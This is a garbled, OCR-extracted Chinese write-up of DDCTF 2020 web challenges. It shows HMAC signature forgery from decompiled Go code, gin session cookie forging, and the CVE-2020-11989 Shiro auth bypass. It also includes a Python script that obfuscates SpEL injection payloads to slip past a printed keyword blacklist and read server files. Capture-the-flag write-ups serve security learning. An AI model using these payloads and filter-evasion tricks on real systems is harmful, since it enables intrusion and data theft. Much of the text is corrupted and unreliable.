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[> DDCTF 2020 X @ 117.51.136.197/adminflogin X [ JSON Web Tokens - jwtio x| +
€« C A A2 | 117.51.136.197/admin/login 0@ iy $ =
[ FeHelper TS s ®A©® A0 wHEO | | amsE | | | e | FEss | Feson |
{
“code”: 0,
“message”: “success’,
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}
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code™: 0,

o I.l'. i i
message : success

"data”: “client dowload url: http://117.51. 136, 197 /BEIthEdFDasFVZZo/ client”
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: # ./client
2020/09/07 13:39:03
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Client minion

2020/09/07 :03 [*]start ping master...

2020/09/07 39:03 [-]http://117.51.136.197/server/health connect succuess

2020/09/07 39:03 [*]start send command to minions...

2020/09/07 R [+]get sign:cHCXDZ46AKJoyZOLc+9GADCSPb21qDHYWBMSF3dQzGU=, command:'DDCTF', time_stamp:]
2020/09/07 13:39:03 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"messag
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https://github.com/sibears/IDAGolangHelper

AR BIRA T b getSignif B (A i fF 7] LU 22 771 String)

__inte4 __fastcall main_getSign(__int64 al, _ int64 a2, __ int64 a3, __int64 a4, __int64 a5, __int64 a6, _ int128
a7, __int64 a8)

{
__inte4 v8; // rcx
__inte4 v9; // rdx
__inte4 vi1e; // r8
__inte4 vi11; // rax
__inte4 v12; // rcx
__inte4 v13; // rbx
__inte4 vi14; // rdx
__inte4 vi15; // r8
__inte4 vi6; // r9
__inte4 v17; // rax
__inte4 v18; // rcx
__int64 v19; // rbx
__int64 v20; // rdx
__inte4 v21; // rs8
__inte4 v22; // r9
__int64 v23; // rdx
__inte4 v24; // rs8
__inte4 v25; // r9
__int64 v26; // rdx
__inte4 v27; // r8
__inte4 v28; // r9
__int64 v29; // rdx
__int64 v30; // rdx
__int64 v31; // rcx
__inte4 v32; // rs8
__inte4 v33; // r9
__inte4 v34; // rdx
__inte4 v35; // r8
__int64 v36; // rdx
__inte4 v37; // rs8
__inte4 v38; // rax
__inte4 v39; // rcx
__inte4 v4e; // rbx
__inte4 va41; // rdx
__inte4 v42; // rs8
__inte4 v43; // rax
__inte4 v44; // rcx
__inte4 va45; // rbx
__int64 va6; // rdx
__inte4 va7; // r8
__inte4 v48; // r9
__inte4 v49; // rax
__inte4 v50; // rcx
__inte4 v51; // rbx


https://github.com/sibears/IDAGolangHelper

__inte4 (__fastcall **v53)(__int64, _ int64); // [rsp+6h] [rbp-148h]
__int128 v54; // [rsp+8h] [rbp-146h]
__m256i v55; // [rsp+18h] [rbp-136h]
__inte4 v56; // [rsp+38h] [rbp-116h]
_ int128 v57; // [rsp+46h] [rbp-108h]
const char *v58; // [rsp+56h] [rbp-F8h]
__inteé4 v59; // [rsp+58h] [rbp-Foh]
__int128 v6@; // [rsp+66h] [rbp-E8h]
__inte4 ve1; // [rsp+76h] [rbp-D8h]
__inte4 v62; // [rsp+78h] [rbp-Deh]

_ int128 v63; // [rsp+86h] [rbp-C8h]
_ int128 ve4; // [rsp+96h] [rbp-B8h]
__int128 v65; // [rsp+A6h] [rbp-A8h]
__int128 v66; // [rsp+Boh] [rbp-98h]
__int64 v67; // [rsp+Coh] [rbp-88h]
__int64 *v68; // [rsp+C8h] [rbp-86h]
__int128 v69; // [rsp+Déh] [rbp-78h]
_ int128 v70; // [rsp+E6h] [rbp-68h]
__int64 v71; // [rsp+Foh] [rbp-58h]
__int64 v72; // [rsp+F8h] [rbp-56h]
__int64 v73; // [rsp+100h] [rbp-48h]
__int64 v74; // [rsp+108h] [rbp-46h]
__int64 v75; // [rsp+116h] [rbp-38h]
__int64 v76; // [rsp+118h] [rbp-36h]
__int64 v77; // [rsp+126h] [rbp-28h]
__int64 v78; // [rsp+128h] [rbp-26h]
__int64 v79; // [rsp+136h] [rbp-18h]
__int64 v80; // [rsp+138h] [rbp-16h]
__int64 v81; // [rsp+146h] [rbp-8h]

while ( 1)
{
v8 = _ readfsqword(OxFFFFFFF8);
if ( (unsigned __int64)&v63 > *(_QWORD *)(v8 + 16) )
break;
runtime_morestack_noctxt(al, a2);
¥
v65 = a7;
v56 = a8;
v72 = OLL;
v73 = OLL;
v74 = OLL;
v75 = OLL;
if ( &v53 == (__int64 (__ fastcall ***)(__inte64, _ int64))-248LL )
LODWORD(v72) = (unsigned __ int64)&v63;
*(_QWORD *)&v69 = 2LL;
*((_QWORD *)&v69 + 1) = 2LL;
V68 = &Vv72;
V53 (__inte4 (__fastcall **)(__int64, _ int64))&unk 6A1040;
v54 = (unsigned _ int64)&v65;
runtime_convT2E(al, a2, a3, v8, a5);

vll = v55.m256i_i64[1];
v12 = v55.m256i_i64[0];
vl3 = (__int64)v68;

v6l = v55.m256i_i64[0];
*v68 = v55.m256i_i64[0];
v62 = vi1l;

if ( byte_963800 )

{
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voo = FRNRIVL N TuoLvuaa J\ LiieuT, LIILUT ) J\ VAo 1 Uy

*(_QWORD *)&v54 = vi11;
runtime_writebarrierptr(al, a2);

¥
else
{
*(_QWORD *)(v13 + 8) = vli;
¥
v53 = (__int64 (__fastcall **)(__int64, _ int64))&unk_69EDCO;
v54 = (unsigned _ int64)&v56;

runtime_convT2E(al, a2, v9, v12, v10);
v17 = v55.m256i_i64[1];

v18 = v55.m256i_i64[0];

v19 = (__int64)(v6e8 + 2);

V61 = v55.m256i_i64[0];

v68[2] = v55.m256i_i64[0];

v62 = vl17;
if ( byte_963800 )
{

v53 = (__int64 (__fastcall **)(__int64, _ int64))(v19 + 8);
*(_QWORD *)&v54 = v17;
runtime_writebarrierptr(al, a2);
¥
else
{
*(_QWORD *)(v19 + 8) = vi17;
}
*(_QWORD *)&v54 = 5LL;
*((_QWORD *)&v54 + 1) = Vv68;
*(_OWORD *)v55.m256i_i8 = v69;
fmt_Sprintf(al, a2, vi14, vi18, vi15, v16, (__int64)"%s|%d");
v53 = OLL;
v64 = *(_OWORD *)&v55.m256i u64[2];
v54 = *(_OWORD *)&v55.m256i u64[2];
runtime_stringtoslicebyte(al, a2, v20, v55.m256i_i64[2], v21, v22);
v66 = *(_OWORD *)v55.m256i i8;
v67 = v55.m256i_i64[2];
v53 = OLL;
v58 = "DDCTFWithYou";
*(_QWORD *)&v54 = "DDCTFWithYou";
v59 = 12LL;
*((_QWORD *)&v54 + 1) = 12LL;
runtime_stringtoslicebyte(al, a2, v23, (__int64)"DDCTFWithYou", v24, v25);
v26 = v55.m256i_i64[0];

v53 = off_827EEQ;

v70 = *(_OWORD *)v55.m256i_i8;
v54 = *(_OWORD *)v55.m256i_i8;
v71 = v55.m256i_i64[2];

v55.m256i_i64[0] = v55.m256i_i64[2];

crypto_hmac_New(al, a2, v26, v55.m256i_ i64[1], v27, v28);

v54 = v66;

v55.m256i_i64[0] = v67;

V53 (__inte4 (__fastcall **)(__int64, _ int64))v55.m256i i64[2];

v60 = *(_OWORD *)&v55.m256i_u64[1];

(*(void (__cdecl **)(__inte4, _ int64, _ int64, _ int64))(v55.m256i i64[1] + 64))(al, a2, v29, v55.m256i i64[1
1

v54 = QulLlL;

v55.m256i_i64[0] = OLL;

v53 = (__int64 (__fastcall **)(__int64, _ int64))*((_QWORD *)&v60 + 1);

(*(void (__cdecl **)(__int64, _ int64, _ int64, _ int64))(v6@ + 56))(al, a2, v30, v31);



v53 = (__int64 (__fastcall **)(__int64, _ int64))qword_946330;
v70 = *(_OWORD *)&v55.m256i u64[1];

v54 = *(_OWORD *)&v55.m256i u64[1];

v71 = v55.m256i_1i64[3];

v55.m256i_i64[0] = v55.m256i_ i64[3];
encoding _base64__ptr_Encoding EncodeToString(al, a2, v55.m256i_i64[1], v55.m256i_i64[2], v32, v33);
v57 = *(_OWORD *)&v55.m256i u64[1];

V65 = *(_OWORD *)&v55.m256i u64[1];
v63 = a7;
v56 = a8;
v76 = OLL;
v77 = OLL;
v78 = OLL;
v79 = 0OLL;
v80 = OLL;
v8l = OLL;

if ( &v53 == (__inte4 (__fastcall ***)(__int64, _ int64))-280LL )
LODWORD(v76) = v55.m256i_i32[4];

*(_QWORD *)&v69 = 3LL;

*((_QWORD *)&v69 + 1) = 3LL;

V68 = &Vv76;

v53 (__inte4 (__fastcall **)(__int64, _ int64))&unk_6A1040;

v54 = (unsigned __int64)&v65;

runtime_convT2E(al, a2, v34, v55.m256i_i64[1], v35);

v38 = v55.m256i_i64[1];

v39 = v55.m256i_i64[0];

v40 (__int64)v68;

v6l = v55.m256i_i64[0];

*v68 = v55.m256i_i64[0];

v62 = v38;
if ( byte_963800 )
{

v53 = (__int64 (__fastcall **)(__int64, _ int64))(v40 + 8);
*(_QWORD *)&v54 = v38;
runtime_writebarrierptr(al, a2);
¥
else
{
*(_QWORD *)(v40@ + 8) = v38;
¥
v53 = (__int64 (__fastcall **)(__int64, _ int64))&unk_6A1040;
v54 = (unsigned _ int64)&v63;
runtime_convT2E(al, a2, v36, v39, v37);
v43 = v55.m256i_i64[1];

v44 = v55.m256i_i64[0];
v45 = (__int64)(v68 + 2);
v6l = v55.m256i_i64[0];
v68[2] = v55.m256i_i64[0];
V62 = Vv43;

if ( byte_ 963800 )

{

v53 = (__int64 (__ fastcall **)(__int64, _ int64))(v45 + 8);
*(_QWORD *)&v54 = v43;
runtime_writebarrierptr(al, a2);

}

else

{
*(_QWORD *)(v45 + 8) = v43;
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VDD = (__d1nLo4 (_ Tdd>ildll " )(__ AlILO4,  1IIL04 ) JaUlIK_OJCULlY,
v54 = (unsigned __ int64)&v56;

runtime_convT2E(al, a2, v4l, v44, v42);

v49 = v55.m256i_i64[1];

v50 = v55.m256i_1i64[0];

v51 = (__int64)(v68 + 4);

v6l = v55.m256i_1i64[0];

v68[4] = v55.m2561_i64[0];

V62 = Vv49;
if ( byte_963800 )
{

v53 = (__int64 (__fastcall **)(__int64, _ int64))(v51 + 8);
*(_QWORD *)&v54 = v49;
runtime_writebarrierptr(al, a2);

}

else

{
*(_QWORD *)(v51 + 8) = v49;

b
*(_QWORD *)&v54 = 41LL;

*((_QWORD *)&v54 + 1) = Vv68;
*(_OWORD *)v55.m256i_i8 = v69;
return log Printf(al, a2, v46, v50, v47, v48, (__int64)"[+]get sign:%s, command:%s, time_stamp:%d");
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crypto_hmac_New(al, a2, v26, v55.m256i_i64[1], v27, v28);

crypto_hmac_Newix > —Hi Sk BIZR 2 NASBH 2 1, et P Asilix & A1 HmacSHA256  (FFEE&FindCrypti% - 1 H
%), X ADDCTFWithYou+4 /\ JUit =& AT Ak

NIt H ik gy 1 AN A Bk, AT —F
153 f¥1signfii Njl6DSE CGAyzSs5t5wliixgp8aBN4SmgzagxSvsviy3w=, iXJ&4itbase64encodeft], Fofl 1K Hfhd .
>>> import base64
>>> data=base64.b64decode(b"jI6DSECGAYzSs5t5wljixgp8aBN4SmgzagxSvsv/y3w=")
>>> for each in data:
print(hex(each).replace("0x",""),end="")

8c8e8348408632cd2b39b79c258¢c8c6a7¢c6813784a68336ac52becbffch7c
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MESEE  BIEE BASEG4 ER/BASEG4SIE

BAZZ:

'DDCTF[1599555155

BEIMAEEE:

HmacSHA1 HmacSHA224 HmacSHA256 HmacSHA384 HmacSHAS12 HmacMD% PBKDF2

=18 DDCTFWithYou IEFEET v

l:lﬁ‘; Ei

8cB8e83484086032cd2b39b798c258c8c60a7c6813784a68336a0c52bechffch7c
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package main

import (

"bytes"
"io/ioutil™
"net/http"

"crypto/hmac"
"crypto/sha256"
"encoding/base64"

"encoding/json"
"time"

"github.com/gin-gonic/gin"

type Param struct {
Command  string "~ json:"command""

Signature string "~ json:"signature'
Timestamp int64 ~json:"timestamp

func main() {

r =

gin.Default()

r.POST("/", func(c *gin.Context) {

1)

command := c.DefaultPostForm("command", "DDCTF")
key := "DDCTFWithYou"
timestamp := time.Now().Unix()

plain := fmt.Sprintf("%s|%d", command, timestamp)
mac := hmac.New(sha256.New, [ ]byte(key))
mac.Write([]byte(plain))

param := new(Param)

param.Command = command

param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
param.Timestamp = timestamp

js, _ := json.Marshal(param)
url := "http://117.51.136.197/server/command"
resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
if err != nil {
panic(err)
¥
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)

c.String(http.StatusOK, string(body))

r.Run(":2333")
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https://www.mi1k7ea.com/2020/01/10/SpEL %% 2y A il s &5/

JEWP T (¥ JEIA A& 3 b 17— AR A &, BB RA B A command 2 FLZ ik SRS B 1o IXANIFR 5 {24

I EWP ) Payload, i 4R IidiX I payload B AR RIC 7o o AFITEWERIS, RJam RAEX LT

new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt’)).next()

Request Response

[Raw)] Params Headers Hex [Raw]| Headers Hex Render

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-g
Sun, 06 Sep 2020 05:36:13 GMT
th: 7

1 POST / HTTP/1.1 1

2 Host: localhost:2333 2

3 Accept-Encoding: gzip, deflate 3

4 Accept: */* 4

5 Accept-Language: en 5

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 6
safari/537.36 7

7 Connection: clo:

& Content-Type: application/x-wni-forn-urlencoded

9 Content-Length: 86

close

,"message":"success", "data": "DDCTF{Q24uf486whGOWN44UtZCjYUgdnnnRaVs}"}

10
11 command=new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()
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f Request to hitp://116.85.37.131:80

Forward Drop Intercept is on Action

lRaw rParams rHeaders ’/Hex |

1 GET /0714dcd10baB8571bc7887aecaastadaalde/loans?loans=1000000000000 HTTP/1.1

2 Host: 116.85.37.131

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KH

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,ima

6 Referer: http://116.85.37.131/0714dcd10ba8571bc7887acaatadaabde/

7 Accept-Encoding: gzip, deflate

8 Accept-Language: zh-CN,zh;g=0.9

9 Cookie: sessions=
MTUS0TQ20DUxNHxEdi1CQkFFQ180SUFBUKFCRUFBQVE0X19nZ@FDOM50MGNthHVad3dJIQUFaM1lX
4c@OxDSNRIMVsZVNINKSTd211bTkzWDNScGIXVWLPakUxT1Rrek5UWXpNakyzSW50MFLYSFBYM1 Dy
18uSpVBzfMyLt5PibeTmY7d_Cg3ITEC90uAQzbaW-CjdI=

10 Connection: close

11

12

PATES
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EaiRE

EifTE miedldn BETRE
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FS @FkekR BENFR  HERIIEEE
0 1874919424 1874919426 2020-09-07 08:50:44
1 2764472320 2764472322 2020-09-07 06:50:51
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X/~seckey— il it secretkey, 4FANITIX #NILTF ) session:

Cookie Editor [] Show Advanced

A session

MName

session |

Value

MTU50TQ20Dg50HxEdi1CQkFFQ180SUFBUKFCRUFBQVS1ZI9nZOFDQ =

m50MGNtbHVad3dIQUFWaFpHMXEBiZ 1)pYjl5c0FnSUFBQVp6ZEhKcGIt

Y01DQUFHZDJGc2JHVBCbkdwY21sdVp3eGdBRjU3SWOSM2FXNWS5je
Show Advanced

+ [ ] o E

T RIATAT UL B iX A seckeyslt & F k4 iiisessionff] «

Mok, EHEViHfag, FATSMHGEEL

DDCTF 2020 X @ 116.85.37.131/0714dcd10bas” X +

< C A &% | 116.85.37.131/0714dcd 10ba857 1bc7887aeaadadaale/flag

3 FeHelper Desmen | #5 30©® 750 w0 | | amer | | [ =

‘msg”: RAR, BEARFEERHE! 7

A BRHEN FRAT 75 2O it session>fid i 56 iF S flag
2T HMEGe T, A% Egin-session (HgetZ|FiA T &gin, H{wEEF|Flaskila % T)
% . https:/lwww.tizi365.com/archives/288.html


https://www.tizi365.com/archives/288.html

AR ) S B AT 7R B IE AT B 2 ginfsessionF R (MUt i 58 2 R 4 (ki 751 URWP G IS T I8 =775, HEgE
baseb4f B EER 1. TG 1ET:

_& Python 3.7.4 Shell - O X
File Edit Shell Debug Options Window Help
Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)] on win32

Type "help”, "copyright”, "credits” or "license()" for more information.

>>> import base64

>>> base64.b64decode(b"MTU50TQ20Dk30XxEdi1CQkFFQ180SUFBUKFCRUFBQV81ZI9nZOFDQmM
50MGNtbHVad3dIQUFWaFpHMXBIZ1JpY)I5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHV)BCbk4
wY21sdVp3eGdBRjU3SWO5M2FXNW5jeUk2VzEwcOItbHVkbVZ6ZEhNaU9sdGRMQOpOY)jI1bGVTSTZP
VGsOTIRJNU9EazJNekV3TTN3aWIOTNYM 1JwYIdVaU9gqRTFPVGswTmpnNU56UXNJbk4dwWVhKMFg
zUnBiV1VpT2pFMU9UazBOamcOTVRSOXxZfvIrX8Ub8CLZ1JJ0yOBPJ9t3cGEvcOELOYYS5bXBHLW==")
b'1599468979|Dv-BBAEC 4IAARABEAAA 5f ggACBNnNOcmluZwwHAAVhZG1pbgRib29sAglAAAZzdH
JpbmcMCAAGd2FsbGVOBNNOcmIluZwxgAF571m93aW5ncyl6W10sImludmVzdHMIOIltdLCJtb25leSI16
OTk4NTc50Dk2MzEwOSwWibm93X3RpbWUIOJETOTKONjg5NzQsInNOYXJOX3RpbWUIQJET1OTKkONjg4
MTRO|Y ~\xf9k \xc5\x1b\xf0"\xd9\xd4\x92t\xcb @O\"\xdbwpa/p\xe1\x0b\xd 1\x869mpG/*

>>> base64.b64decode(b"Dv-BBAEC 4|AARABEAAA 5f ggACBnNOcmluZwwHAAVhZG1pbgRib29s
AglAAAZzdHIpbmcMCAAGd2FsbGVOBnNOcmluZwxgAF57Im93aW5ncyl6W10simludmVzdHMIOldL
CJtb25leSI60Tk4NTc50Dk2MzEwOSwWibm93X3RpbWUIOJET1OTkONjg5NzQsInNOYXJOX3RpbWUIQJET
OTkONjg4MTR9")

b"\x0e\xfOA\x00@\xb8 \x00\x11\x00\x11\x00\x00\x0e \x82\x00\x02\x06string\x0c\x07\x00\x05admi
n\x04bool\x02\x02\x00\x00\x06string\x0c\x08\x00\x06wallet\x06string\x0c \x00 " {"owings":[],"inves
ts":[],"money":9985798963109,"now_time":1599468974,"start time":1599468814}'

>>>

Ln: & Coi: 4

XA HFEEAA R, EWAEEH—8E R, X sessionf] AN i% 2 timestamp|GoffJencode i |15 (AT fig &% 44
WERD IXFE TR, AT AT AR B ANbool2S A fiadmin 7 By, AT H AR E .
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package main

import (
// FAsessiontd
"github.com/gin-contrib/sessions"
// SFAsessioniifEg|%
"github.com/gin-contrib/sessions/cookie"
/! FAginfEXE
"github.com/gin-gonic/gin"

)

func main() {
r := gin.Default()
// Gl#FFcookie M55/ %, secret1111l ZHUE/HFINENZEY], XHBEANFANIHseckey
store := cookie.NewStore([]byte("secret11111"))
// #Esessionfijijff, Z4imysession, f5/JiEsessionll]&F, tHhiZcookiell]5&F
// store 2N AT, Fell]r] Ll EF Bk HMl 17 s 5] %
r.Use(sessions.Sessions("mysession"”, store))

r.GET("/hello", func(c *gin.Context) {
// #attsession 5
session := sessions.Default(c)

// ifilsession.Get Esession E
// sessionZfEXN 15 CHHE, AL 77 EdIRey 2Y A
if session.Get("hello") != "world" {
// #Esession##
session.Set("hello", "world")
// Wssession
//session.Delete("tizi365")
// RiFsession#(#
session.Save()
// W5F# 1 session

// session.Clear()

}
c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.Run(":8000")
}

T s R aT



if session.Get("hello")

session.Set("hello",

session.Save()

R

if session.Get("admin")

I= "world" {

// #EsessionZi

"world")

// Wkksession %
//session.Delete("tiz1365")
// RiFsession ¥

// WEp# 1 session
// session.Clear()

I= true {

session.Set("admin", true)

session.Save()

HIR] RARARAS B 244 )

X AN 5 A BT, JRASEAE A AR A timestamp AN 45 T UF A o JERRDUIFAN T 2

% Fl|session

> DDCTF 2020

< &

& FeHelper

“admin”:  true

% ¥ J5 % flag

=5 =

x | @ 1168537.131/0714dcd10bag” X

® 127.0.0.1:8000/hello

e %L @ A=O EO

@ 127.0.0.1:8000/hello x 4+

* O @

Cookie Editor [Z) Show Advanced

~  session Iil

Name

[ ] ‘ session

Value
MTUSO0TQ3MjI2N3xEdi1CQkFFQ180SUFBUKFCRUFBQURMLUNBQUVH =
YzNSeWFXNWSEQWNBQIdGa2)XbHVCROp2Yj)3Q0FnQUIBIg3Vhageak

a ZCbfm3FCmcofoxQ3RVCyYjZi20 VLTINS = -
Show Advanced

+ [ ] B B



[> DDCTF 2020 X @ 116.85.37.131/0714dcd10ba8’ X @ 127.0.0.1:8000/hello X | +

« C A 22| 116.85.37.131/0714dcd 10ba857 1bc 7887 aeaadadaale/flag v O @
—————— | Cookie Edit [ Show Advanced
[ FeHelper = e BiL® #%0 BEO [ mer | | COOve Bttor |
PN session
{
“flag”: “DDCTF [Thl51s3AsYdornE23331} Name
} u |session |
Value

MTUSOTQ3M]jI2N3xEdi1CQkFFQ180SUFBUKFCRUFBQURMLUNBQUVH =
YzNSeWFXNWSEQWNBQIdGa2 XbHVCROp2Yj)3Q0FNQUIS)g3Vhaeak

ZCbfm3FCmcofoxQ3RVCyjZi20TVLTIINS = -
Show Advanced
+ | 5 B
Easy Web
Py Uiy , X
Easy Web
A EEE:
http://116.85.37.131/6f088/7622b5e34b5c9243f3ff42eb605/web/ind
=
Flag RREER

Fix4~: CVE-2020-11989
EANCVERTJLRIEE T, Z %Nk, .
Z2 . hitps://xz.aliyun.com/t/7964

ESLE]
http://116.85.37.131/6f0887622b5e34b5c924 3f3ff42eb605/web/index.php


https://xz.aliyun.com/t/7964
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index.php

AT (EJA L 2 2 XA CVE St #tadmin it i)

BENFHE, XA S SRR REIR 17, A AT ]

Hello, user!

Welcome to the DDCTF Web System!

You are not admin!

hello!

Learn more

SSRF, #JaHfuzzDict )7 7 —F, 7] LA E|WEB-INF/web.xml:

http://116.85.37.131/6f0887622b5e34b5c924 3f3ff42eb605/web/img?img=WEB-INF/web.xml

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"

"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xs51iischemalocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3 0.xsd

version="3.0" metadata-complete="false">



<display-name>Archetype Created Web Application</display-name>

<context-param>
<param-name>contextConfiglLocation</param-name>
<param-value>
classpath:spring-core.xml
</param-value>
</context-param>

<listener>
<listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
</listener>

<listener>
<listener-class>org.springframework.web.util.IntrospectorCleanuplListener</listener-class>
</listener>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfiglLocation</param-name>
<param-value>classpath:spring-web.xml</param-value>
</init-param>
</servlet>

<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<filter>
<filter-name>safeFilter</filter-name>
<filter-class>com.ctf.util.SafeFilter</filter-class>
</filter>

<filter-mapping>

€3 TlEAn_namAas eaLACS T+ AR /LS TEAn. namAS



NTLLLTI T1HIamec /7oAl Tl LLLTI N/ 1L LT THiamc /s
<url-pattern>/*</url-pattern>
</filter-mapping>

<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>

<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>

<error-page>
<error-code>404</error-code>
<location>/hacker.jsp</location>
</error-page>

<error-page>
<error-code>403</error-code>
<location>/hacker.jsp</location>
</error-page>

</web-app>

Z I SpringfESL,  HIE X AN SEFRATTH S 0] DL B HAE R ET ARSI K T
Spring/2 —MMVCHESL,  #iisk H S I ST b 3RATT 75 22 s QYT 1Y) /2 Controlleryzs il /= 1A
AR B AT L, BATFR EF R F B IRA 1B yadmini)(E B

—7&WIL )5, 1£ WEB-INF/classes/spring-shiro.xml $175



<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
¥mlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/bea
ns/spring-beans.xsd">
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="securityManager" ref="securityManager"/>
<property name="loginUrl" value="/login"/>
<property name="successUrl" value="/index"/>

<property name="unauthorizedUrl" value="/unauthorized"/>

<property name="filterChainDefinitionMap" ref="filterChainDefinitionMap"/>
</bean>

<bean id="filterChainDefinitionMap" factory-bean="filterChainDefinitionMapBuilder" factory-method="buildFilt
erChainDefinitionMap"/>

<bean id="filterChainDefinitionMapBuilder" class="com.ctf.auth.FilterChainDefinitionMapBuilder"/>

<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="myRealm"/>
</bean>

<bean id="myRealm" class="com.ctf.auth.ShiroRealm">
</bean>

</beans>

H N ) /IWEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class 7] LA |

package com.ctf.auth;
import java.util.*;

public class FilterChainDefinitionMapBuilder
{
public LinkedHashMap<String, String> buildFilterChainDefinitionMap() {

final LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/logout"”, "logout");
map.put("/index", "authc");
map.put("/download", "authc");
map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
return map;

TRAMMCVESEL

http://116.85.37.131/610887622b5e34b5c9243f3ff42eb605/; /web/68759c96217a32d5b368ad2965f625ef/index



#E AN adminftm

Hello, admin!

Please input customize content!

customize

render

Ja TR 2 S WAF i SpEJE AL, WAF7E WEB-INF/classes/com/ctf/util/SafeFilter.class



package com.ctf.util;

import javax.servlet.*;

import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

import java.util.Enumeration;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class SafeFilter implements Filter {

private static final String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|"'",
"exec.*\\ (", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.
+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate"”, "org.+thymeleaf", "javassist", "javax\
\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};

private final String encoding = "UTF-8";

public void init(FilterConfig arg@) throws ServletException {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
Enumeration pNames = request.getParameterNames();
while (pNames.hasMoreElements()) {
String name = (String) pNames.nextElement();
String value = request.getParameter(name);
for (String blacklist : blacklists) {
Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
if (matcher.find()) {
HttpServletResponse servletResponse = (HttpServletResponse) response;
servletResponse.sendError(403);

}

filterChain.doFilter(request, response);

public void destroy() {
}

JRmESEHK, M T EWPexp:

import re

import requests
from flask import Flask, request

app = Flask(__name_ )
def requestToServer(content):
content = "[[${{{}}}]1]".format(content)

url = "http://116.85.37.131/610887622b5e34b5c9243f3ff42eb605/ ; /web/68759c96217a32d5b368ad2965f625ef/customiz

response = requests.post(url=url, data={'content': content}).text
try:



redirect = re.search('fetch \./(.*) !', response).group(l)
url = "http://116.85.37.131/610887622b5e34b5c9243f3ff42eb605/ ; /web/68759c96217a32d5b368ad2965f625ef/ "
url += redirect
return requests.get(url).text
except Exception as e:
return str(e) + response

def toForNameOrStr(source, strFlag=False):
res = 'T(Character).toString(%s)' % ord(source[0])
for ch in source[1:]:
res += '.concat(T(Character).toString(%s))"' % ord(ch)
if strFlag:
return res
return '@.class. forName({})'.format(res)

@app.route('/", methods=["'GET', 'POST'])
def handler():
content = request.form.get('content")
dir = request.form.get('dir")
file = request.form.get('file")

if dir:
# #/Z: java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
# #4JH: java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())".format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, Tr

ue))

print(listDirPayload)

return requestToServer(listDirPayload)

if file:
# java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
catFilePaylod = "{}.lines({}.get({})).findFirst().toString()"'.format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, T

rue))

print(catFilePaylod)
return requestToServer(catFilePaylod)

return requestToServer(content)

if _name__ == '_main__ ":

app.run(debug=True)

F T EILA 54 DS & A# F UriClassLoader !

I, https://blog.play2win.top/2020/09/07/DDCTF2020_WEB_ writeup%20/

